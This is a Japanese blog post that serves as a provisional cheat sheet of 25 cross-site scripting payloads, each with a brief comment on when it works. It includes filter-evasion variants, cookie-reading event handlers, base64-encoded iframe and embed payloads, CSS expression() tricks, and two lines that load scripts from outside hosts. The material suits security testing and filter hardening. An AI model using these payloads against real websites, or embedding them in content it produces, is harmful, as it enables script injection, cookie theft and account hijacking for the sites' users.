Nootropic.me

XSSパターン(暫定版)

XSSのパターンを幾つか集めてみました。出典は下の方にあります。

1.'';!--"<XSS>=&{()}``\"
テスト文字列。まずはこの文字列を突っ込む。

2.<script>alert(1);</script>
単純なパターン

3."><script>alert(1);</script>
単純なパターン2

4.<script src=http://nootropic.me/xss.js></script>
ダブルクォートやシングルクォートが使えない際

5.<ScrIpt>alert(1);</SCript>
単純にscriptタグが禁止されている際に使用出来る。他のタグでも使うことが出来る。

6.<a onmouseover="alert(document.cookie)">XSS</a>
aタグを使用したXSS。

7.<a onmouseover=alert(document.cookie)>XSS</a>
8のダブルクォートを使用しないケース。

8.<<script>alert("XSS");//<</script>

9.<iframe src="javascript:alert('XSS');"></iframe>

10.<iframe src=# onmouseover="alert(document.cookie)"></iframe>

11.<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

12.<script src="http://ha.ckers.org/xss.jpg"></script>
Javascriptの拡張子を画像に変えて動かしてる。

13.<img src="http://www.example.co.jp/>"onerror="alert(document.cookie)//<">
タグのフィルターが甘い場合に実行。

14.<![CDATA["><script>alert("XSS")</script><!--]]>
CDATAを使用したXSS。

15.“><script</*
*/alert(1);/*
*/</script><!--
それぞれ別のフォームに入力。文字数制限があっても結果的にalertが発動する。

16.%EF%BC%9Cscript%EF%BC%9Ealert(123)%EF%BC%9C/script%EF%BC%9E
パーセントエンコーディング。

17.";alert(document.domain)//
scriptタグ内にユーザが書き込める時に使える。

18.<SELECT NAME="" onmouseover=alert(123)></select>
selectタグを使ったXSS。

19.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='></iframe>
base64を使った手法。

20.<style><img src='</style><img src=x onerror=alert("XSS")//'>

21.<svg><style><img/src=x onerror=alert(1)// </b>

22."><svg><script>alert&#40/1/.source&#41</script>

23.data:text/html,<script>alert(0)</script>

24.<div style="left:expression(alert('xss'))">

25.<div style="left:expRessioN(alert('xss'))">
rとnの代わりにUnicode文字列を用いている。単純なexpressionフィルタを回避する。

出典:
HTML5 Security Cheatsheet
HTML Purifier XSS Attacks Smoketest
SLA.CKERS -XSS Info-
[柔軟すぎる]IEのCSS解釈で起こるXSS (2/3)


Author:ラロ